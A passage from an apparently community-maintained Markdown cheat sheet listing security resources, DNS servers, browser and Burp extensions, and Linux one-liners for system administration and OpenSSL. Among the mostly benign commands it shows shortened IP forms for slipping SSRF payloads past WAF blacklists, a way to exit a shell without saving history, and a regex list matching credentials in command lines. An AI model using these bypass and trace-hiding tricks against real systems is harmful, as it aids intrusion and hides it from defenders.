:small_orange_diamond: <a href="https://github.com/facebook/fbctf"><b>fbctf</b></a> - platform to host Capture the Flag competitions.<br>
:small_orange_diamond: <a href="https://github.com/google/ctfscoreboard"><b>ctfscoreboard</b></a> - scoreboard for Capture The Flag competitions.<br>
</p>
##### :black_small_square: Other resources
<p>
:small_orange_diamond: <a href="https://github.com/bugcrowd/bugcrowd_university"><b>Bugcrowd University</b></a> - open source education content for the researcher community.<br>
:small_orange_diamond: <a href="https://github.com/rewardone/OSCPRepo"><b>OSCPRepo</b></a> - a list of resources and scripts that I have been gathering in preparation for the OSCP.<br>
:small_orange_diamond: <a href="https://medium.com/@cxosmo/owasp-top-10-real-world-examples-part-1-a540c4ea2df5"><b>OWASP Top 10: Real-World Examples</b></a> - test your web apps with real-world examples (two-part series).<br>
:small_orange_diamond: <a href="http://phrack.org/index.html"><b>phrack.org</b></a> - an awesome collection of articles from several respected hackers and other thinkers.<br>
:small_orange_diamond: <a href="https://github.com/Gr1mmie/Practical-Ethical-Hacking-Resources"><b>Practical-Ethical-Hacking-Resources</b></a> - compilation of resources from TCM's Udemy Course.<br>
</p>
#### Your daily knowledge and news [<sup>[TOC]</sup>](#anger-table-of-contents)
##### :black_small_square: RSS Readers
<p>
:small_orange_diamond: <a href="https://feedly.com/"><b>Feedly</b></a> - organize, read and share what matters to you.<br>
:small_orange_diamond: <a href="https://www.inoreader.com/"><b>Inoreader</b></a> - similar to feedly with a support for filtering what you fetch from rss.<br>
</p>
##### :black_small_square: IRC Channels
<p>
:small_orange_diamond: <a href="https://wiki.hackerspaces.org/IRC_Channel"><b>#hackerspaces</b></a> - hackerspace IRC channels.<br>
</p>
##### :black_small_square: Security
<p>
:small_orange_diamond: <a href="https://thehackernews.com/"><b>The Hacker News</b></a> - leading news source dedicated to promoting awareness for security experts and hackers.<br>
:small_orange_diamond: <a href="https://latesthackingnews.com/"><b>Latest Hacking News</b></a> - provides the latest hacking news, exploits and vulnerabilities for ethical hackers.<br>
:small_orange_diamond: <a href="https://securitynewsletter.co/"><b>Security Newsletter</b></a> - security news as a weekly digest (email notifications).<br>
:small_orange_diamond: <a href="https://security.googleblog.com/"><b>Google Online Security Blog</b></a> - the latest news and insights from Google on security and safety on the Internet.<br>
:small_orange_diamond: <a href="https://blog.qualys.com/"><b>Qualys Blog</b></a> - expert network security guidance and news.<br>
:small_orange_diamond: <a href="https://www.darkreading.com/"><b>DARKReading</b></a> - connecting the Information Security Community.<br>
:small_orange_diamond: <a href="https://www.darknet.org.uk/"><b>Darknet</b></a> - latest hacking tools, hacker news, cybersecurity best practices, ethical hacking & pen-testing.<br>
:small_orange_diamond: <a href="https://twitter.com/disclosedh1"><b>publiclyDisclosed</b></a> - public disclosure watcher who keeps you up to date about the recently disclosed bugs.<br>
:small_orange_diamond: <a href="https://www.reddit.com/r/hacking/"><b>Reddit - Hacking</b></a> - a subreddit dedicated to hacking and hackers.<br>
:small_orange_diamond: <a href="https://packetstormsecurity.com/"><b>Packet Storm</b></a> - information security services, news, files, tools, exploits, advisories and whitepapers.<br>
:small_orange_diamond: <a href="https://sekurak.pl/"><b>Sekurak</b></a> - about security, penetration tests, vulnerabilities and many others (PL/EN).<br>
:small_orange_diamond: <a href="https://nfsec.pl/"><b>nf.sec</b></a> - basic aspects and mechanisms of Linux operating system security (PL).<br>
</p>
##### :black_small_square: Other/All-in-one
<p>
:small_orange_diamond: <a href="https://changelog.com/"><b>Changelog</b></a> - is a community of hackers; news & podcasts for developers and hackers.<br>
</p>
#### Other Cheat Sheets [<sup>[TOC]</sup>](#anger-table-of-contents)
###### Build your own DNS Servers
<p>
:small_orange_diamond: <a href="https://calomel.org/unbound_dns.html"><b>Unbound DNS Tutorial</b></a> - a validating, recursive, and caching DNS server.<br>
:small_orange_diamond: <a href="https://www.ctrl.blog/entry/knot-dns-resolver-tutorial.html"><b>Knot Resolver on Fedora</b></a> - how to get faster and more secure DNS resolution with Knot Resolver on Fedora.<br>
:small_orange_diamond: <a href="https://www.aaflalo.me/2018/10/tutorial-setup-dns-over-https-server/"><b>DNS-over-HTTPS</b></a> - tutorial to setup your own DNS-over-HTTPS (DoH) server.<br>
:small_orange_diamond: <a href="https://hacks.mozilla.org/2018/05/a-cartoon-intro-to-dns-over-https/"><b>dns-over-https</b></a> - a cartoon intro to DNS over HTTPS.<br>
:small_orange_diamond: <a href="https://www.aaflalo.me/2019/03/dns-over-tls/"><b>DNS-over-TLS</b></a> - following to your DoH server, setup your DNS-over-TLS (DoT) server.<br>
:small_orange_diamond: <a href="https://zwischenzugs.com/2018/01/26/how-and-why-i-run-my-own-dns-servers/"><b>DNS Servers</b></a> - how (and why) i run my own DNS Servers.<br>
</p>
###### Build your own Certificate Authority
<p>
:small_orange_diamond: <a href="https://jamielinux.com/docs/openssl-certificate-authority/"><b>OpenSSL Certificate Authority</b></a> - build your own certificate authority (CA) using the OpenSSL tools.<br>
:small_orange_diamond: <a href="https://github.com/smallstep/certificates"><b>step-ca Certificate Authority</b></a> - build your own certificate authority (CA) using open source step-ca.<br>
</p>
###### Build your own System/Virtual Machine
<p>
:small_orange_diamond: <a href="https://github.com/cfenollosa/os-tutorial"><b>os-tutorial</b></a> - how to create an OS from scratch.<br>
:small_orange_diamond: <a href="https://justinmeiners.github.io/lc3-vm/"><b>Write your Own Virtual Machine</b></a> - how to write your own virtual machine (VM).<br>
:small_orange_diamond: <a href="https://github.com/cirosantilli/x86-bare-metal-examples"><b>x86 Bare Metal Examples</b></a> - dozens of minimal operating systems to learn x86 system programming.<br>
:small_orange_diamond: <a href="https://github.com/djhworld/simple-computer"><b>simple-computer</b></a> - the scott CPU from "But How Do It Know?" by J. Clark Scott.<br>
:small_orange_diamond: <a href="https://littleosbook.github.io/"><b>littleosbook</b></a> - the little book about OS development.<br>
</p>
###### DNS Servers list (privacy)
| <b><u>IP</u></b> | <b><u>URL</u></b> |
| :--- | :--- |
| **`84.200.69.80`** | [dns.watch](https://dns.watch/) |
| **`94.247.43.254`** | [opennic.org](https://www.opennic.org/) |
| **`64.6.64.6`** | [verisign.com](https://www.verisign.com/en_US/security-services/public-dns/index.xhtml) |
| **`89.233.43.71`** | [censurfridns.dk](https://blog.uncensoreddns.org/) |
| **`1.1.1.1`** | [cloudflare.com](https://1.1.1.1/) |
| **`94.130.110.185`** | [dnsprivacy.at](https://dnsprivacy.at/) |
###### TOP Browser extensions
| <b><u>Extension name</u></b> | <b><u>Description</u></b> |
| :--- | :--- |
| **`IPvFoo`** | Display the server IP address and HTTPS information across all page elements. |
| **`FoxyProxy`** | Simplifies configuring browsers to access proxy-servers. |
| **`HTTPS Everywhere`** | Automatically use HTTPS security on many sites. |
| **`uMatrix`** | Point & click to forbid/allow any class of requests made by your browser. |
| **`uBlock Origin`** | An efficient blocker: easy on memory and CPU footprint. |
| **`Session Buddy`** | Manage browser tabs and bookmarks with ease. |
| **`SuperSorter`** | Sort bookmarks recursively, delete duplicates, merge folders, and more. |
| **`Clear Cache`** | Clear your cache and browsing data. |
| **`d3coder`** | Encoding/Decoding plugin for various types of encoding. |
| **`Web Developer`** | Adds a toolbar button with various web developer tools. |
| **`ThreatPinch Lookup`** | Add threat intelligence hover tool tips. |
###### TOP Burp extensions
| <b><u>Extension name</u></b> | <b><u>Description</u></b> |
| :--- | :--- |
| **`Active Scan++`** | Extends Burp's active and passive scanning capabilities. |
| **`Autorize`** | Automatically detects authorization enforcement. |
| **`AuthMatrix`** | A simple matrix grid to define the desired levels of access privilege. |
| **`Logger++`** | Logs requests and responses for all Burp tools in a sortable table. |
| **`Bypass WAF`** | Adds headers useful for bypassing some WAF devices. |
| **`JSON Beautifier`** | Beautifies JSON content in the HTTP message viewer. |
| **`JSON Web Tokens`** | Enables Burp to decode and manipulate JSON web tokens. |
| **`CSP Auditor`** | Displays CSP headers for responses, and passively reports CSP weaknesses. |
| **`CSP-Bypass`** | Passively scans for CSP headers that contain known bypasses. |
| **`Hackvertor`** | Converts data using a tag-based configuration to apply various encoding. |
| **`HTML5 Auditor`** | Scans for usage of risky HTML5 features. |
| **`Software Vulnerability Scanner`** | Vulnerability scanner based on vulners.com audit API. |
| **`Turbo Intruder`** | Is a powerful bruteforcing tool. |
| **`Upload Scanner`** | Upload a number of different file types, laced with different forms of payload. |
###### Hack Mozilla Firefox address bar
In Firefox's address bar, you can limit results by typing special characters before or after your term:
- `^` - for matches in your browsing history
- `*` - for matches in your bookmarks.
- `%` - for matches in your currently open tabs.
- `#` - for matches in page titles.
- `@` - for matches in web addresses.
###### Chrome hidden commands
- `chrome://chrome-urls` - list of all commands
- `chrome://flags` - enable experiments and development features
- `chrome://interstitials` - errors and warnings
- `chrome://net-internals` - network internals (events, dns, cache)
- `chrome://network-errors` - network errors
- `chrome://net-export` - start logging future network activity to a file
- `chrome://safe-browsing` - safe browsing options
- `chrome://user-actions` - record all user actions
- `chrome://restart` - restart chrome
- `chrome://dino` - ERR_INTERNET_DISCONNECTED...
- `cache:<website-address>` - view the cached version of the web page
###### Bypass WAFs by Shortening IP Address (by [0xInfection](https://twitter.com/0xInfection))
IP addresses can be shortened by dropping the zeroes:
```
http://1.0.0.1 → http://1.1
http://127.0.0.1 → http://127.1
http://192.168.0.1 → http://192.168.1
http://0xC0A80001 or http://3232235521 → 192.168.0.1
http://192.168.257 → 192.168.1.1
http://192.168.516 → 192.168.2.4
```
> This bypasses WAF filters for SSRF, open-redirect, etc where any IP as input gets blacklisted.
For more information please see [How to Obscure Any URL](http://www.pc-help.org/obscure.htm) and [Magic IP Address Shortcuts](https://stuff-things.net/2014/09/25/magic-ip-address-shortcuts/).
###### Hashing, encryption and encoding (by [Michal Špaček](https://twitter.com/spazef0rze))
_Hashing_
plaintext :arrow_right: hash<br>
hash :no_entry: plaintext
_Symmetric encryption_
plaintext :arrow_right: :key: :arrow_right: ciphertext<br>
plaintext :arrow_left: :key: :arrow_left: ciphertext<br>
(:key: shared key)
_Asymmetric encryption_
plaintext :arrow_right: :key: :arrow_right: ciphertext<br>
plaintext :arrow_left: :part_alternation_mark: :arrow_left: ciphertext<br>
(:key: public key, :part_alternation_mark: private key)<br>
_Encoding_
text :arrow_right: encoded<br>
text :arrow_left: encoded
#### One-liners [<sup>[TOC]</sup>](#anger-table-of-contents)
##### Table of Contents
* [terminal](#tool-terminal)
* [busybox](#tool-busybox)
* [mount](#tool-mount)
* [fuser](#tool-fuser)
* [lsof](#tool-lsof)
* [ps](#tool-ps)
* [top](#tool-top)
* [vmstat](#tool-vmstat)
* [iostat](#tool-iostat)
* [strace](#tool-strace)
* [kill](#tool-kill)
* [find](#tool-find)
* [diff](#tool-diff)
* [vimdiff](#tool-vimdiff)
* [tail](#tool-tail)
* [cpulimit](#tool-cpulimit)
* [pwdx](#tool-pwdx)
* [tr](#tool-tr)
* [chmod](#tool-chmod)
* [who](#tool-who)
* [last](#tool-last)
* [screen](#tool-screen)
* [script](#tool-script)
* [du](#tool-du)
* [inotifywait](#tool-inotifywait)
* [openssl](#tool-openssl)
* [secure-delete](#tool-secure-delete)
* [dd](#tool-dd)
* [gpg](#tool-gpg)
* [system-other](#tool-system-other)
* [curl](#tool-curl)
* [httpie](#tool-httpie)
* [ssh](#tool-ssh)
* [linux-dev](#tool-linux-dev)
* [tcpdump](#tool-tcpdump)
* [tcpick](#tool-tcpick)
* [ngrep](#tool-ngrep)
* [hping3](#tool-hping3)
* [nmap](#tool-nmap)
* [netcat](#tool-netcat)
* [socat](#tool-socat)
* [p0f](#tool-p0f)
* [gnutls-cli](#tool-gnutls-cli)
* [netstat](#tool-netstat)
* [rsync](#tool-rsync)
* [host](#tool-host)
* [dig](#tool-dig)
* [certbot](#tool-certbot)
* [network-other](#tool-network-other)
* [git](#tool-git)
* [awk](#tool-awk)
* [sed](#tool-sed)
* [grep](#tool-grep)
* [perl](#tool-perl)
##### Tool: [terminal](https://en.wikipedia.org/wiki/Linux_console)
###### Reload shell without exit
```bash
exec $SHELL -l
```
###### Close shell keeping all subprocess running
```bash
disown -a && exit
```
###### Exit without saving shell history
```bash
kill -9 $$
unset HISTFILE && exit
```
###### Perform a branching conditional
```bash
true && echo success
false || echo failed
```
###### Pipe stdout and stderr to separate commands
```bash
some_command > >(/bin/cmd_for_stdout) 2> >(/bin/cmd_for_stderr)
```
###### Redirect stdout and stderr each to separate files and print both to the screen
```bash
(some_command 2>&1 1>&3 | tee errorlog ) 3>&1 1>&2 | tee stdoutlog
```
###### List of commands you use most often
```bash
history | \
awk '{CMD[$2]++;count++;}END { for (a in CMD)print CMD[a] " " CMD[a]/count*100 "% " a;}' | \
grep -v "./" | \
column -c3 -s " " -t | \
sort -nr | nl | head -n 20
```
###### Sterilize bash history
```bash
function sterile() {
history | awk '$2 != "history" { $1=""; print $0 }' | egrep -vi "\
curl\b+.*(-E|--cert)\b+.*\b*|\
curl\b+.*--pass\b+.*\b*|\
curl\b+.*(-U|--proxy-user).*:.*\b*|\
curl\b+.*(-u|--user).*:.*\b*
.*(-H|--header).*(token|auth.*)\b+.*|\
wget\b+.*--.*password\b+.*\b*|\
http.?://.+:.+@.*\
" > $HOME/histbuff; history -r $HOME/histbuff;
}
export PROMPT_COMMAND="sterile"
```
> Look also: [A naive utility to censor credentials in command history](https://github.com/lbonanomi/go/blob/master/revisionist.go).
###### Quickly backup a file
```bash
cp filename{,.orig}
```
###### Empty a file (truncate to 0 size)
```bash
>filename
```
###### Delete all files in a folder that don't match a certain file extension
```bash
rm !(*.foo|*.bar|*.baz)
```
###### Pass multi-line string to a file
```bash
# cat >filename ... - overwrite the file
# cat >>filename ... - append to a file
cat > filename << __EOF__
data data data
__EOF__
```
###### Edit a file on a remote host using vim
```bash
vim scp://user@host//etc/fstab
```
###### Create a directory and change into it at the same time
```bash
mkd() { mkdir -p "$@" && cd "$@"; }
```
###### Convert uppercase files to lowercase files
```bash
rename 'y/A-Z/a-z/' *
```
###### Print a row of characters across the terminal
```bash
printf "%`tput cols`s" | tr ' ' '#'
```
###### Show shell history without line numbers
```bash
history | cut -c 8-
fc -l -n 1 | sed 's/^\s*//'
```
###### Run command(s) after exit session
```bash
cat > /etc/profile << __EOF__
_after_logout() {
username=$(whoami)
for _pid in $(ps afx | grep sshd | grep "$username" | awk '{print $1}') ; do
kill -9 $_pid
done
}
trap _after_logout EXIT
__EOF__
```
###### Generate a sequence of numbers
```bash
for ((i=1; i<=10; i+=2)) ; do echo $i ; done
# alternative: seq 1 2 10
for ((i=5; i<=10; ++i)) ; do printf '%02d\n' $i ; done
# alternative: seq -w 5 10
for i in {1..10} ; do echo $i ; done
```
###### Simple Bash filewatching
```bash
unset MAIL; export MAILCHECK=1; export MAILPATH='$FILE_TO_WATCH?$MESSAGE'
```
---
##### Tool: [busybox](https://www.busybox.net/)
###### Static HTTP web server
```bash
busybox httpd -p $PORT -h $HOME [-c httpd.conf]
```
___
##### Tool: [mount](https://en.wikipedia.org/wiki/Mount_(Unix))
###### Mount a temporary ram partition
```bash
mount -t tmpfs tmpfs /mnt -o size=64M
```
* `-t` - filesystem type
* `-o` - mount options
###### Remount a filesystem as read/write
```bash
mount -o remount,rw /
```
___
##### Tool: [fuser](https://en.wikipedia.org/wiki/Fuser_(Unix))
###### Show which processes use the files/directories
```bash
fuser /var/log/daemon.log
fuser -v /home/supervisor
```
###### Kills a process that is locking a file
```bash
fuser -ki filename
```
* `-i` - interactive option
###### Kills a process that is locking a file with specific signal
```bash
fuser -k -HUP filename
```
* `--list-signals` - list available signal names
###### Show what PID is listening on specific port
```bash
fuser -v 53/udp
```
###### Show all processes using the named filesystems or block device
```bash
fuser -mv /var/www
```
___
##### Tool: [lsof](https://en.wikipedia.org/wiki/Lsof)
###### Show process that use internet connection at the moment
```bash
lsof -P -i -n
```
###### Show process that use specific port number
```bash
lsof -i tcp:443
```
###### Lists all listening ports together with the PID of the associated process
```bash
lsof -Pan -i tcp -i udp
```
###### List all open ports and their owning executables
```bash
lsof -i -P | grep -i "listen"
```
###### Show all open ports
```bash
lsof -Pnl -i
```
###### Show open ports (LISTEN)
```bash
lsof -Pni4 | grep LISTEN | column -t
```
###### List all files opened by a particular command
```bash
lsof -c "process"
```
###### View user activity per directory
```bash
lsof -u username -a +D /etc
```
###### Show 10 largest open files
```bash
lsof / | \
awk '{ if($7 > 1048576) print $7/1048576 "MB" " " $9 " " $1 }' | \
sort -n -u | tail | column -t
```
###### Show current working directory of a process
```bash
lsof -p <PID> | grep cwd
```
___
##### Tool: [ps](https://en.wikipedia.org/wiki/Ps_(Unix))
###### Show a 4-way scrollable process tree with full details
```bash
ps awwfux | less -S
```
###### Processes per user counter
```bash
ps hax -o user | sort | uniq -c | sort -r
```
###### Show all processes by name with main header
```bash
ps -lfC nginx
```
___
##### Tool: [find](https://en.wikipedia.org/wiki/Find_(Unix))
###### Find files that have been modified on your system in the past 60 minutes
```bash
find / -mmin 60 -type f
```
###### Find all files larger than 20M
```bash
find / -type f -size +20M
```
###### Find duplicate files (based on MD5 hash)
```bash
find -type f -exec md5sum '{}' ';' | sort | uniq --all-repeated=separate -w 33
```
###### Change permission only for files
```bash
cd /var/www/site && find . -type f -exec chmod 766 {} \;
cd /var/www/site && find . -type f -exec chmod 664 {} +
```
###### Change permission only for directories
```bash
cd /var/www/site && find . -type d -exec chmod g+x {} \;
cd /var/www/site && find . -type d -exec chmod g+rwx {} +
```
###### Find files and directories for specific user/group
```bash
# User:
find . -user <username> -print
find /etc -type f -user <username> -name "*.conf"
# Group:
find /opt -group <group>
find /etc -type f -group <group> -iname "*.conf"
```
###### Find files and directories for all without specific user/group
```bash
# User:
find . \! -user <username> -print
# Group:
find . \! -group <group>
```
###### Looking for files/directories that only have certain permission
```bash
# User
find . -user <username> -perm -u+rw # -rw-r--r--
find /home -user $(whoami) -perm 777 # -rwxrwxrwx
# Group:
find /home -type d -group <group> -perm 755 # -rwxr-xr-x
```
###### Delete older files than 60 days
```bash
find . -type f -mtime +60 -delete
```
###### Recursively remove all empty sub-directories from a directory
```bash
find . -depth -type d -empty -exec rmdir {} \;
```
###### How to find all hard links to a file
```bash
find </path/to/dir> -xdev -samefile filename
```
###### Recursively find the latest modified files
```bash
find . -type f -exec stat --format '%Y :%y %n' "{}" \; | sort -nr | cut -d: -f2- | head
```
###### Recursively find/replace of a string with sed
```bash
find . -not -path '*/\.git*' -type f -print0 | xargs -0 sed -i 's/foo/bar/g'
```
###### Recursively find/replace of a string in directories and file names
```bash
find . -depth -name '*test*' -execdir bash -c 'mv -v "$1" "${1//foo/bar}"' _ {} \;
```
###### Recursively find suid executables
```bash
find / \( -perm -4000 -o -perm -2000 \) -type f -exec ls -la {} \;
```
___
##### Tool: [top](https://en.wikipedia.org/wiki/Top_(software))
###### Use top to monitor only all processes with the specific string
```bash
top -p $(pgrep -d , <str>)
```
* `<str>` - process containing string (eg. nginx, worker)
___
##### Tool: [vmstat](https://en.wikipedia.org/wiki/Vmstat)
###### Show current system utilization (fields in kilobytes)
```bash
vmstat 2 20 -t -w
```
* `2` - number of times with a defined time interval (delay)
* `20` - each execution of the command (count)
* `-t` - show timestamp
* `-w` - wide output
* `-S M` - output of the fields in megabytes instead of kilobytes
###### Show current system utilization will get refreshed every 5 seconds
```bash
vmstat 5 -w
```
###### Display report a summary of disk operations
```bash
vmstat -D
```
###### Display report of event counters and memory stats
```bash
vmstat -s
```
###### Display report about kernel objects stored in slab layer cache
```bash
vmstat -m
```
##### Tool: [iostat](https://en.wikipedia.org/wiki/Iostat)
###### Show information about the CPU usage, and I/O statistics about all the partitions
```bash
iostat 2 10 -t -m
```
* `2` - number of times with a defined time interval (delay)
* `10` - each execution of the command (count)
* `-t` - show timestamp
* `-m` - fields in megabytes (`-k` - in kilobytes, default)
###### Show information only about the CPU utilization
```bash
iostat 2 10 -t -m -c
```
###### Show information only about the disk utilization
```bash
iostat 2 10 -t -m -d
```
###### Show information only about the LVM utilization
```bash
iostat -N
```
___
##### Tool: [strace](https://en.wikipedia.org/wiki/Strace)
###### Track with child processes
```bash
# 1)
strace -f -p $(pidof glusterfsd)
# 2)
strace -f $(pidof php-fpm | sed 's/\([0-9]*\)/\-p \1/g')
```
###### Track process with 30 seconds limit
```bash
timeout 30 strace $(< /var/run/zabbix/zabbix_agentd.pid)
```
###### Track processes and redirect output to a file
```bash
ps auxw | grep '[a]pache' | awk '{print " -p " $2}' | \
xargs strace -o /tmp/strace-apache-proc.out
```
###### Track with print time spent in each syscall and limit length of print strings
```bash
ps auxw | grep '[i]init_policy' | awk '{print " -p " $2}' | \
xargs strace -f -e trace=network -T -s 10000
```
###### Track the open request of a network port
```bash
strace -f -e trace=bind nc -l 80
```
###### Track the open request of a network port (show TCP/UDP)
```bash
strace -f -e trace=network nc -lu 80
```
___
##### Tool: [kill](https://en.wikipedia.org/wiki/Kill_(command))
###### Kill a process running on port
```bash
kill -9 $(lsof -i :<port> | awk '{l=$2} END {print l}')
```
___
##### Tool: [diff](https://en.wikipedia.org/wiki/Diff)
###### Compare two directory trees
```bash
diff <(cd directory1 && find | sort) <(cd directory2 && find | sort)
```
###### Compare output of two commands
```bash
diff <(cat /etc/passwd) <(cut -f2 /etc/passwd)
```
___
##### Tool: [vimdiff](http://vimdoc.sourceforge.net/htmldoc/diff.html)
###### Highlight the exact differences, based on characters and words
```bash
vimdiff file1 file2
```
###### Compare two JSON files
```bash
vimdiff <(jq -S . A.json) <(jq -S . B.json)
```
###### Compare Hex dump
```bash
d(){ vimdiff <(f $1) <(f $2);};f(){ hexdump -C $1|cut -d' ' -f3-|tr -s ' ';}; d ~/bin1 ~/bin2
```
###### diffchar
Save [diffchar](https://raw.githubusercontent.com/vim-scripts/diffchar.vim/master/plugin/diffchar.vim) @ `~/.vim/plugins`
Click `F7` to switch between diff modes
Usefull `vimdiff` commands:
* `qa` to exit all windows
* `:vertical resize 70` to resize window
* set window width `Ctrl+W [N columns]+(Shift+)<\>`
___
##### Tool: [tail](https://en.wikipedia.org/wiki/Tail_(Unix))
###### Annotate tail -f with timestamps
```bash
tail -f file | while read ; do echo "$(date +%T.%N) $REPLY" ; done
```
###### Analyse an Apache access log for the most common IP addresses
```bash
tail -10000 access_log | awk '{print $1}' | sort | uniq -c | sort -n | tail
```
###### Analyse web server log and show only 5xx http codes
```bash
tail -n 100 -f /path/to/logfile | grep "HTTP/[1-2].[0-1]\" [5]"
```
___
##### Tool: [tar](https://en.wikipedia.org/wiki/Tar_(computing))
###### System backup with exclude specific directories
```bash
cd /
tar -czvpf /mnt/system$(date +%d%m%Y%s).tgz --directory=/ \
--exclude=proc/* --exclude=sys/* --exclude=dev/* --exclude=mnt/* .
```
###### System backup with exclude specific directories (pigz)
```bash
cd /
tar cvpf /backup/snapshot-$(date +%d%m%Y%s).tgz --directory=/ \
--exclude=proc/* --exclude=sys/* --exclude=dev/* \
--exclude=mnt/* --exclude=tmp/* --use-compress-program=pigz .
```
___
##### Tool: [dump](https://en.wikipedia.org/wiki/Dump_(program))
###### System backup to file
```bash
dump -y -u -f /backup/system$(date +%d%m%Y%s).lzo /
```
###### Restore system from lzo file
```bash
cd /
restore -rf /backup/system$(date +%d%m%Y%s).lzo
```
___
##### Tool: [cpulimit](http://cpulimit.sourceforge.net/)
###### Limit the cpu usage of a process
```bash
cpulimit -p pid -l 50
```
___
##### Tool: [pwdx](https://www.cyberciti.biz/faq/unix-linux-pwdx-command-examples-usage-syntax/)
###### Show current working directory of a process
```bash
pwdx <pid>
```
___
##### Tool: [taskset](https://www.cyberciti.biz/faq/taskset-cpu-affinity-command/)
###### Start a command on only one CPU core
```bash
taskset -c 0 <command>
```
___
##### Tool: [tr](https://en.wikipedia.org/wiki/Tr_(Unix))
###### Show directories in the PATH, one per line
```bash
tr : '\n' <<<$PATH
```
___
##### Tool: [chmod](https://en.wikipedia.org/wiki/Chmod)
###### Remove executable bit from all files in the current directory
```bash
chmod -R -x+X *
```
###### Restore permission for /bin/chmod
```bash
# 1:
cp /bin/ls chmod.01
cp /bin/chmod chmod.01
./chmod.01 700 file
# 2:
/bin/busybox chmod 0700 /bin/chmod
# 3:
setfacl --set u::rwx,g::---,o::--- /bin/chmod
```
___
##### Tool: [who](https://en.wikipedia.org/wiki/Who_(Unix))
###### Find last reboot time
```bash
who -b
```
###### Detect a user sudo-su'd into the current shell
```bash
[[ $(who -m | awk '{ print $1 }') == $(whoami) ]] || echo "You are su-ed to $(whoami)"
```
___
##### Tool: [last](https://www.howtoforge.com/linux-last-command/)
###### Was the last reboot a panic?
```bash
(last -x -f $(ls -1t /var/log/wtmp* | head -2 | tail -1); last -x -f /var/log/wtmp) | \
grep -A1 reboot | head -2 | grep -q shutdown && echo "Expected reboot" || echo "Panic reboot"
```
___
##### Tool: [screen](https://en.wikipedia.org/wiki/GNU_Screen)
###### Start screen in detached mode
```bash
screen -d -m <command>
```
###### Attach to an existing screen session
```bash
screen -r -d <pid>
```
___
##### Tool: [script](https://en.wikipedia.org/wiki/Script_(Unix))
###### Record and replay terminal session
```bash
### Record session
# 1)
script -t 2>~/session.time -a ~/session.log
# 2)
script --timing=session.time session.log
### Replay session
scriptreplay --timing=session.time session.log
```
___
##### Tool: [du](https://en.wikipedia.org/wiki/GNU_Screen)
###### Show 20 biggest directories with 'K M G'
```bash
du | \
sort -r -n | \
awk '{split("K M G",v); s=1; while($1>1024){$1/=1024; s++} print int($1)" "v[s]"\t"$2}' | \
head -n 20
```
___
##### Tool: [inotifywait](https://en.wikipedia.org/wiki/GNU_Screen)
###### Init tool everytime a file in a directory is modified
```bash
while true ; do inotifywait -r -e MODIFY dir/ && ls dir/ ; done;
```
___
##### Tool: [openssl](https://www.openssl.org/)
###### Testing connection to the remote host
```bash
echo | openssl s_client -connect google.com:443 -showcerts
```
###### Testing connection to the remote host (debug mode)
```bash
echo | openssl s_client -connect google.com:443 -showcerts -tlsextdebug -status
```
###### Testing connection to the remote host (with SNI support)
```bash
echo | openssl s_client -showcerts -servername google.com -connect google.com:443
```
###### Testing connection to the remote host with specific ssl version
```bash
openssl s_client -tls1_2 -connect google.com:443
```
###### Testing connection to the remote host with specific ssl cipher
```bash
openssl s_client -cipher 'AES128-SHA' -connect google.com:443
```
###### Verify 0-RTT
```bash
_host="example.com"
cat > req.in << __EOF__
HEAD / HTTP/1.1
Host: $_host
Connection: close
__EOF__
openssl s_client -connect ${_host}:443 -tls1_3 -sess_out session.pem -ign_eof < req.in
openssl s_client -connect ${_host}:443 -tls1_3 -sess_in session.pem -early_data req.in
```
###### Generate private key without passphrase
```bash
# _len: 2048, 4096
( _fd="private.key" ; _len="2048" ; \
openssl genrsa -out ${_fd} ${_len} )
```
###### Generate private key with passphrase
```bash
# _ciph: des3, aes128, aes256
# _len: 2048, 4096
( _ciph="aes128" ; _fd="private.key" ; _len="2048" ; \
openssl genrsa -${_ciph} -out ${_fd} ${_len} )
```
###### Remove passphrase from private key
```bash
( _fd="private.key" ; _fd_unp="private_unp.key" ; \
openssl rsa -in ${_fd} -out ${_fd_unp} )
```
###### Encrypt existing private key with a passphrase
```bash
# _ciph: des3, aes128, aes256
( _ciph="aes128" ; _fd="private.key" ; _fd_pass="private_pass.key" ; \
openssl rsa -${_ciph} -in ${_fd} -out ${_fd_pass}
```
###### Check private key
```bash
( _fd="private.key" ; \
openssl rsa -check -in ${_fd} )
```
###### Get public key from private key
```bash
( _fd="private.key" ; _fd_pub="public.key" ; \
openssl rsa -pubout -in ${_fd} -out ${_fd_pub} )
```
###### Generate private key and CSR
```bash
( _fd="private.key" ; _fd_csr="request.csr" ; _len="2048" ; \
openssl req -out ${_fd_csr} -new -newkey rsa:${_len} -nodes -keyout ${_fd} )
```
###### Generate CSR
```bash
( _fd="private.key" ; _fd_csr="request.csr" ; \
openssl req -out ${_fd_csr} -new -key ${_fd} )
```
###### Generate CSR (metadata from existing certificate)
> Where `private.key` is the existing private key. As you can see you do not generate this CSR from your certificate (public key). Also you do not generate the "same" CSR, just a new one to request a new certificate.
```bash
( _fd="private.key" ; _fd_csr="request.csr" ; _fd_crt="cert.crt" ; \
openssl x509 -x509toreq -in ${_fd_crt} -out ${_fd_csr} -signkey ${_fd} )
```
###### Generate CSR with -config param
```bash
( _fd="private.key" ; _fd_csr="request.csr" ; \
openssl req -new -sha256 -key ${_fd} -out ${_fd_csr} \
-config <(
cat << __EOF__
[req]
default_bits = 2048
default_md = sha256
prompt = no
distinguished_name = dn
req_extensions = req_ext
[ dn ]
C = "<two-letter ISO abbreviation for your country>"
ST = "<state or province where your organisation is legally located>"
L = "<city where your organisation is legally located>"
O = "<legal name of your organisation>"
OU = "<section of the organisation>"
CN = "<fully qualified domain name>"
[ req_ext ]
subjectAltName = @alt_names
[ alt_names ]
DNS.1 = <fully qualified domain name>
DNS.2 = <next domain>
DNS.3 = <next domain>
__EOF__
))
```
Other values in `[ dn ]`:
```
countryName = "DE" # C=
stateOrProvinceName = "Hessen" # ST=
localityName = "Keller" # L=
postalCode = "424242" # L/postalcode=
postalAddress = "Keller" # L/postaladdress=
streetAddress = "Crater 1621" # L/street=
organizationName = "apfelboymschule" # O=
organizationalUnitName = "IT Department" # OU=
commonName = "example.com" # CN=
emailAddress = "[email protected]" # CN/emailAddress=
```
Example of `oids` (you'll probably also have to make OpenSSL know about the new fields required for EV by adding the following under `[new_oids]`):
```
[req]
...
oid_section = new_oids
[ new_oids ]
postalCode = 2.5.4.17
streetAddress = 2.5.4.9
```
For more information please look at these great explanations:
- [RFC 5280](https://tools.ietf.org/html/rfc5280)
- [How to create multidomain certificates using config files](https://apfelboymchen.net/gnu/notes/openssl%20multidomain%20with%20config%20files.html)
- [Generate a multi domains certificate using config files](https://gist.github.com/romainnorberg/464758a6620228b977212a3cf20c3e08)
